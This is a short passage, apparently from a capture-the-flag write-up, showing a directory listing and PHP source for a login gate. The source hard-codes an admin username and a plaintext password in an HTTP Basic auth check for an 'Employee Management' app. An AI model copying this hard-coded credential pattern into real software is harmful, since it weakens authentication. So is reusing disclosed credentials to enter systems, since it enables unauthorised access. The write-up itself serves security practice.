chart.min.js   index.php   README.md
dashboard.php  logout.php  style.css

index.php contains the root password

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

zar3bski

DataOps